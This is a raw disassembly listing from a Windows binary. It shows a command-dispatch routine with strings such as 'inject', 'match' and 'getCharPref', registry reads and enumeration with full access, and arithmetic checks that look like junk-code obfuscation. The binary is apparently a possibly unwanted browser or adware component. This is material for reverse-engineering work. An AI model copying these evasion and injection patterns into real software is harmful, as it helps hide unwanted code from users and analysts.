cmp r8d, 2
jne 0x140051e13
mov dword [rsp + 0x22f0], edi
mov dword [rsp + 0x1e10], edi
mov dword [rsp + 0x11c0], edi
mov qword [rsp + 0x1f0], rdi
lea rcx, [rsp + 0x2ee0]
cmp qword [rsp + 0x2ef8], 0x10
cmovae rcx, qword [rsp + 0x2ee0]
mov qword [rsp + 0xaf8], rcx
mov rdx, qword [rsp + 0x2ef0]
test dl, 3
jne 0x1400520ce
lea r8, [rsp + 0x1f0]
call fcn.14001b480
mov byte [rsp + 0xa0], al
test al, al
je 0x1400520ce
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], rdi
mov rdx, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x158]
call fcn.140022ef4
nop
mov r8d, dword [0x14019fd80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xc
jne 0x140051f08
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400b8688
mov qword [rsp + 0xb08], rax
mov rcx, rax
call fcn.1400ba0bc
mov qword [rsp + 0x2b8], rdi
lea rcx, [rsp + 0x2ee0]
cmp qword [rsp + 0x2ef8], 0x10
cmovae rcx, qword [rsp + 0x2ee0]
lea rax, [rsp + 0x2b8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x1f0]
mov rbx, qword [rsp + 0x158]
mov r8, rbx
mov rdx, qword [rsp + 0x2ef0]
call fcn.14001b5f4
test al, al
jne 0x140051fe0
test rbx, rbx
je 0x140051f84
mov rcx, rbx
call fcn.1400b8ff4
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], rdi
lea rcx, [rsp + 0x2ee0]
call fcn.14000133c
nop
lea rcx, [rsp + 0x58]
call fcn.140001d4c
nop
lea rcx, [rsp + 0x2ec0]
call fcn.14000133c
nop
lea rcx, [rsp + 0x80]
call fcn.140001d4c
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140053711
mov rdx, qword [rsp + 0x2b8]
lea rcx, [rsp + 0x158]
call fcn.140022ef4
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xb18], rax
lea rdx, str.match
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xb28], rax
mov rcx, rax
call fcn.14002d48c
mov ebx, eax
mov dword [rsp + 0x6c8], eax
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xb38], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xb48], rax
mov rcx, rax
call fcn.14002d48c
mov dword [rsp + 0x450], eax
lea r9, [rsp + 0x158]
mov r8d, eax
mov edx, ebx
mov rcx, qword [r13 + 0x40]
call fcn.140049724
mov word [r14 + 8], si
mov r15d, 0xb
mov word [r14], r15w
mov rcx, qword [rsp + 0x158]
test rcx, rcx
je 0x1400520bc
call fcn.1400b8ff4
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], rdi
lea rcx, [rsp + 0x2ee0]
call fcn.14000133c
jmp 0x1400535c2
lea rcx, [rsp + 0x2ee0]
call fcn.14000133c
nop
lea rcx, [rsp + 0x58]
call fcn.140001d4c
nop
lea rcx, [rsp + 0x2ec0]
call fcn.14000133c
nop
lea rcx, [rsp + 0x80]
call fcn.140001d4c
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140053711
lea rcx, [rsp + 0x58]
call fcn.140001d4c
nop
lea rcx, [rsp + 0x2ec0]
call fcn.14000133c
nop
lea rcx, [rsp + 0x80]
call fcn.140001d4c
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140053711
lea rdx, str.NVP_UTF8ToUTF16
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x140052530
test r14, r14
je 0x1400535c2
mov r15b, dil
mov byte [rsp + 0x88], dil
lea rcx, [rsp + 0x200]
call fcn.140001c78
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xb58], rax
lea rdx, [0x140134428]
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xb68], rax
cmp byte [rax + 8], 4
jne 0x140052514
mov r8d, dword [0x14019fd80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0xd
jne 0x140052223
test r8d, r8d
cmove r8d, r12d
mov dword [0x14019fd80], r8d
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xb78], rax
lea rdx, [0x140134428]
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xb88], rax
lea rdx, [rsp + 0x2f00]
mov rcx, rax
call fcn.14002d20c
nop
mov r8d, dword [0x14019fd80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 0xc
jne 0x140052305
movsd xmm3, qword [0x140134f70]
movsd qword [rsp + 0x668], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x2c8], xmm2
movd xmm4, r8d
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movsd qword [rsp + 0x2c8], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x1400522ed
subsd xmm2, xmm3
movsd qword [rsp + 0x2c8], xmm2
divsd xmm3, qword [0x140134f98]
movsd qword [rsp + 0x668], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x140134f68]
ja 0x1400522b5
mov rax, qword [rsp + 0x2f10]
mov qword [rsp + 0xb98], rax
lea r8, [rsp + 0x2f00]
cmp qword [rsp + 0x2f18], 0x10
cmovae r8, qword [rsp + 0x2f00]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r13, eax
mov dword [rsp + 0x914], r13d
mov edx, dword [0x14019fd80]
lea r8d, [rdx + 2]
lea ecx, [rdx + 1]
imul r8d, ecx
imul r8d, edx
mov eax, 0x38e38e39
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub r8d, eax
cmp r8d, 0xd
jne 0x1400523a2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test r13d, r13d
je 0x1400524cc
call fcn.14004de80
test al, al
jne 0x1400523de
mov ecx, 4
call fcn.1400b97c8
mov rbx, rax
mov qword [rsp + 0xba8], rax
call fcn.1400b99c8
mov dword [rbx], eax
mov dword [0x14019fd80], eax
mov rcx, rbx
call fcn.1400b8ff4
mov qword [rsp + 0x3b8], rdi
mov qword [rsp + 0x3c0], rdi
mov qword [rsp + 0x3c8], rdi
mov rdx, r13
add rdx, rdx
lea rcx, [rsp + 0x3b8]
call fcn.140022ef4
nop
mov rax, qword [rsp + 0x2f10]
mov qword [rsp + 0xbb8], rax
lea r8, [rsp + 0x2f00]
cmp qword [rsp + 0x2f18], 0x10
cmovae r8, qword [rsp + 0x2f00]
mov dword [rsp + 0x28], r13d
mov rbx, qword [rsp + 0x3b8]
mov qword [rsp + 0x20], rbx
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x1400524a7
mov r8, qword [rsp + 0x3c0]
sub r8, rbx
mov qword [rsp + 0xbc8], r8
mov rdx, rbx
lea rcx, [rsp + 0x678]
call fcn.14001b8bc
nop
mov rdx, rax
lea rcx, [rsp + 0x200]
call fcn.140001d7c
nop
lea rcx, [rsp + 0x678]
call fcn.140001d4c
mov r15b, r12b
mov byte [rsp + 0x88], r12b
test rbx, rbx
je 0x1400524cc
mov rcx, rbx
call fcn.1400b8ff4
mov qword [rsp + 0x3b8], rdi
mov qword [rsp + 0x3c0], rdi
mov qword [rsp + 0x3c8], rdi
lea rcx, [rsp + 0x2f00]
call fcn.14000133c
test r15b, r15b
je 0x140052514
mov rcx, qword [rsp + 0x200]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x460], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xbd8], rax
test rax, rax
jne 0x140052508
call fcn.140001fb4
mov qword [r14 + 8], rax
mov r15d, 8
jmp 0x14005251f
mov word [r14 + 8], di
mov r15d, 0xb
mov word [r14], r15w
lea rcx, [rsp + 0x200]
jmp 0x140051b0b
lea rdx, str.reloadBackground
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x140052596
mov ecx, dword [0x14019fd80]
lea edx, [rcx + 2]
lea eax, [rcx + 1]
imul edx, eax
imul edx, ecx
and edx, 0x80000007
jge 0x140052568
sub edx, r12d
or edx, 0xfffffff8
add edx, r12d
cmp edx, 7
jne 0x140052574
add dword [0x1401a1570], r12d
mov rcx, qword [r13 + 0x40]
add rcx, 0x1f0
call fcn.1400576f4
test r14, r14
je 0x1400535c2
mov word [r14], r12w
jmp 0x1400535c2
lea rdx, str.debugMessage
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x14005264a
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xbe8], rax
lea rbx, str.message
mov rdx, rbx
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xbf8], rax
cmp byte [rax + 8], 4
jne 0x14005264a
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xc08], rax
mov rdx, rbx
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xc18], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc28], rdx
lea rcx, [rsp + 0x688]
call fcn.1400029b8
nop
test r14, r14
je 0x14005263d
mov word [r14 + 8], si
mov r15d, 0xb
mov word [r14], r15w
lea rcx, [rsp + 0x688]
jmp 0x140051b0b
test r14, r14
je 0x1400535c2
mov word [r14 + 8], di
jmp 0x14005083f
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xc38], rax
lea r15, str.keyPath
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xc48], rax
cmp byte [rax + 8], 4
jne 0x1400535c2
test r14, r14
je 0x1400535c2
mov qword [rsp + 0x258], rdi
mov rax, rdi
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], rdi
mov byte [rsp + 0x50], dil
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xc58], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002dadc
mov qword [rsp + 0xc68], rax
lea rcx, [0x1401a0a38]
cmp rax, rcx
je 0x140052a6f
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xc78], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xc88], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc98], rdx
lea rcx, [rsp + 0x210]
call fcn.1400029b8
nop
mov rbx, qword [r13 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x210]
call fcn.140002c54
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xca8], rbx
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xcb8], rax
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xcc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcd8], rdx
lea rax, [rsp + 0x6c0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x6d8], eax
test eax, eax
je 0x1400528c6
mov dword [r14 + 8], eax
mov eax, 0x16
mov word [r14], ax
mov rcx, qword [rsp + 0x210]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x698], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005281a
mov rdx, qword [rsp + 0x698]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x258]
call fcn.140017894
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052858
mov rdx, qword [rsp + 0x6a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
xor r8d, r8d
mov dl, r12b
lea rcx, [rsp + 0x2ec0]
call fcn.14000136c
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x240], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005289f
mov rdx, qword [rsp + 0x240]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140053711
mov r13d, edi
mov dword [rsp + 0x108], edi
mov r15d, 0x7ffe
mov dword [rsp + 0xf4], r15d
lea rdx, str.getChildValues
lea rcx, [rsp + 0x58]
call fcn.140002c54
mov rcx, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
cmove rcx, qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0x240], rcx
mov qword [rsp + 0x700], rcx
mov ecx, r15d
call fcn.1400b8688
mov rbx, rax
mov qword [rsp + 0x6f0], rax
mov r8d, r15d
xor edx, edx
mov rcx, rax
call fcn.1400be450
mov rax, qword [rsp + 0x240]
mov edx, r13d
add r13d, r12d
mov dword [rsp + 0x108], r13d
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0xf4]
mov r8, rbx
mov rcx, qword [rsp + 0x6c0]
call rax
mov dword [rsp + 0x470], eax
test eax, eax
jne 0x140052a14
mov rdx, rbx
lea rcx, [rsp + 0x6d0]
call fcn.1400029b8
nop
mov rdx, rax
lea rcx, [rsp + 0x258]
call fcn.140019760
nop
mov rcx, qword [rsp + 0x6d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6e0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400529d2
mov rdx, qword [rsp + 0x6e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r8, r15
xor edx, edx
mov rbx, qword [rsp + 0x6f0]
mov rcx, rbx
call fcn.1400be450
mov dword [rsp + 0xf4], r15d
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x128], rax
mov r13d, dword [rsp + 0x108]
mov rax, qword [rsp + 0x700]
jmp 0x140052938
cmp eax, 0x103
je 0x140052a38
mov rax, qword [rsp + 0x128]
sub rax, qword [rsp + 0x258]
test rax, 0xfffffffffffffff8
mov byte [rsp + 0x50], dil
je 0x140052a3d
mov byte [rsp + 0x50], r12b
mov rcx, qword [rsp + 0x210]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x710], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052b95
mov rdx, qword [rsp + 0x710]
jmp 0x140052b8c
lea rdx, str.getChildValues
lea rcx, [rsp + 0x58]
call fcn.140002c54
mov rdx, rbx
lea rcx, [rsp + 0x68]
test eax, eax
jne 0x140052b11
call fcn.14002d968
mov qword [rsp + 0xce8], rax
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xcf8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd08], rdx
lea rcx, [rsp + 0x2d8]
call fcn.1400029b8
nop
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x2d8]
call fcn.14003b070
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x2d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x720], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052b95
mov rdx, qword [rsp + 0x720]
jmp 0x140052b8c
call fcn.14002d968
mov qword [rsp + 0xd18], rax
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xd28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd38], rdx
lea rcx, [rsp + 0x2e8]
call fcn.1400029b8
nop
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x2e8]
call fcn.14003ae7c
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x2e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x730], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052b95
mov rdx, qword [rsp + 0x730]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x50], dil
je 0x140052f51
lea rdx, [0x1401342fc]
lea rcx, [rsp + 0xd0]
call fcn.140001cb0
nop
mov eax, dword [0x14019fd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp ecx, r12d
jne 0x140052bf3
mov dword [rsp + 0x10a8], edi
mov dword [rsp + 0x10f8], edi
mov dword [rsp + 0x1158], edi
mov rbx, qword [rsp + 0x258]
mov r15d, 8
mov qword [rsp + 0x7a0], rbx
cmp rbx, qword [rsp + 0x260]
je 0x140052d72
lea rdx, [0x140134360]
lea rcx, [rsp + 0x308]
call fcn.1400029b8
nop
lea rdx, [0x140134364]
lea rcx, [rsp + 0x2f8]
call fcn.1400029b8
nop
mov r8, rbx
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0x760]
call fcn.14000d514
nop
lea r8, [rsp + 0x308]
mov rdx, rax
lea rcx, [rsp + 0x740]
call fcn.14000d514
mov qword [rsp + 0xd48], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x810], r8d
mov qword [rsp + 0xd58], rdx
lea rcx, [rsp + 0xd0]
call fcn.14000df38
nop
mov rcx, qword [rsp + 0x740]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x750], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052cd2
mov rdx, qword [rsp + 0x750]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x760]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x770], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052d05
mov rdx, qword [rsp + 0x770]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x780], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052d38
mov rdx, qword [rsp + 0x780]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x308]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x790], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052d6a
mov rdx, qword [rsp + 0x790]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add rbx, r15
jmp 0x140052c01
mov rax, qword [rsp + 0xd0]
mov r8d, dword [rax - 0x10]
mov dword [rsp + 0x480], r8d
dec r8d
lea rdx, [rsp + 0x7d0]
lea rcx, [rsp + 0xd0]
call fcn.1400173d0
nop
lea r8, [0x140134340]
mov rdx, rax
lea rcx, [rsp + 0x7b0]
call fcn.140017478
nop
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.140001d7c
nop
mov rcx, qword [rsp + 0x7b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052dfb
mov rdx, qword [rsp + 0x7c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7e0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052e2d
mov rdx, qword [rsp + 0x7e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rsp + 0xd0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x6e8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xd68], rax
test rax, rax
jne 0x140052e57
call fcn.140001fb4
mov qword [r14 + 8], rax
mov word [r14], r15w
mov eax, dword [0x14019fd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
cmp ecx, 5
jne 0x140052f1d
mov r14, rdi
mov qword [rsp + 0x7f0], rdi
lea ebx, [rcx + 0x44]
cmp r14, rbx
jae 0x140052ec0
call fcn.1400b99c8
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rsp + r14*8 + 0x32e0], xmm0
add r14, r12
mov qword [rsp + 0x7f0], r14
jmp 0x140052e97
mov eax, edi
mov dword [rsp + 0x218], eax
cmp eax, ebx
jge 0x140052f1d
mov ecx, 0x48
mov dword [rsp + 0x1a8], ecx
cmp ecx, eax
jle 0x140052f18
movsxd rdx, ecx
movsd xmm0, qword [rsp + rdx*8 + 0x32e0]
movsd xmm1, qword [rsp + rdx*8 + 0x32d8]
comisd xmm0, xmm1
jbe 0x140052f13
movsd qword [rsp + 0xd78], xmm0
movsd qword [rsp + rdx*8 + 0x32e0], xmm1
movsd qword [rsp + rdx*8 + 0x32d8], xmm0
sub ecx, r12d
jmp 0x140052ed2
add eax, r12d
jmp 0x140052ec2
mov rcx, qword [rsp + 0xd0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x800], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052f60
mov rdx, qword [rsp + 0x800]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140052f60
mov word [r14 + 8], di
mov r15d, 0xb
mov word [r14], r15w
lea rcx, [rsp + 0x258]
call fcn.140017894
jmp 0x1400535c2
mov eax, dword [0x14019fd80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xc
jne 0x140053052
mov word [rsp + 0x3be0], di
xor edx, edx
mov r8d, 0x17a1e
lea rcx, [rsp + 0x3be2]
call fcn.1400be450
mov dword [0x14019fd80], edi
mov r10d, edi
mov dword [rsp + 0x250], edi
mov r11d, 0xdc
cmp r10d, r11d
jge 0x140053044
mov r9d, edi
mov dword [rsp + 0x1b8], edi
cmp r9d, r11d
jge 0x140053037
test r10d, r10d
je 0x14005302a
test r9d, r9d
je 0x14005302a
movsxd r8, r10d
movsxd rcx, r9d
mov rdx, r8
imul rdx, rdx, 0xdc
add rdx, rcx
imul r8, r8, 0xdc
add r8, rcx
movsx ecx, word [rsp + r8*2 + 0x3a28]
movsx eax, word [rsp + rdx*2 + 0x3bde]
inc ecx
add ecx, eax
mov word [rsp + rdx*2 + 0x3be0], cx
add r9d, r12d
mov dword [rsp + 0x1b8], r9d
jmp 0x140052fe1
add r10d, r12d
mov dword [rsp + 0x250], r10d
jmp 0x140052fd2
movsx eax, word [rsp + 0x1b5fe]
mov dword [0x14019fd80], eax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xd88], rax
lea r15, str.keyPath
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xd98], rax
cmp byte [rax + 8], 4
jne 0x1400535c2
test r14, r14
je 0x1400535c2
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xda8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xdb8], rax
cmp byte [rax + 8], 4
jne 0x1400535c2
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xdc8], rax
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xdd8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xde8], rdx
lea rcx, [rsp + 0xd8]
call fcn.1400029b8
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xdf8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xe08], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe18], rdx
lea rcx, [rsp + 0x120]
call fcn.1400029b8
nop
mov rbx, rdi
mov qword [rsp + 0x140], rbx
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xe28], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002dadc
mov qword [rsp + 0xe38], rax
lea rcx, [0x1401a0a38]
cmp rax, rcx
je 0x1400532a0
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xe48], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xe58], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe68], rdx
lea rcx, [rsp + 0x318]
call fcn.1400029b8
nop
mov ecx, dword [0x14019fd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub r8d, edx
cmp r8d, 0x15
jne 0x140053231
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x140], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x318]
call fcn.140002c54
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x140], rbx
mov rcx, qword [rsp + 0x318]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x400], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053298
mov rdx, qword [rsp + 0x400]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x140]
lea rdx, str.getCharPref
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x140053418
lea rcx, [rsp + 0x150]
call fcn.140001c78
nop
test rbx, rbx
je 0x1400532f1
mov r9, rbx
lea r8, [rsp + 0xd8]
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x150]
call fcn.14003a338
jmp 0x140053384
lea rax, [rsp + 0x818]
